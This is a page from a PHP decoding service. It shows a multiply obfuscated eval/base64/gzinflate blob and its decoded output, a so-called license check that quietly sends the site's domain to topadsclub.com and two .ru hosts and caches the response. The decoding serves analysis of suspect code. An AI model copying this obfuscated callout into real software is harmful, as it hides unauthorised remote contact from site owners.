Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrHEqzIEfyajV3d8CZnwsPgvbko8N57v..

Decoded Output download

require 'config.php';
$domain = $config['domain'];
$filePath = "cache/" . $domain . ".txt";
$needToUpdateFile = true;
if (file_exists($filePath)) {
    $lastModified = filemtime($filePath);
    $currentTime = time();
    if ($currentTime - $lastModified < 3600) {
        $needToUpdateFile = false; 
    }
}
if ($needToUpdateFile) {
    $urls = [
        "https://topadsclub.com/license/licence_check.php?domain=" . urlencode($domain),
        "https://cdnf0.ru/license/licence_check.php?domain=" . urlencode($domain),
        "https://cdnf2.ru/license/licence_check.php?domain=" . urlencode($domain)
    ];
    foreach ($urls as $url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); 
        curl_close($ch);

        if ($response !== false && $httpCode === 200) {
            file_put_contents($filePath, $response);
            break; 
        }
    }
    if ($response === false || $httpCode !== 200) {
        echo "Error: Unable to retrieve the file from any server.";
        if (file_exists($filePath)) {
            if (touch($filePath)) {
                echo "Timestamp of the file '$filePath' has been updated.";
            } else {
                echo "Error: Unable to update the timestamp of the file '$filePath'.";
            }
        } else {
            echo "Error: File '$filePath' does not exist.";
        }
    }
}

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
?>

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

None

Stats

MD5 35a7e679101df2e0f7fc70b51d94fe40
Eval Count 16
Decode Time 114 ms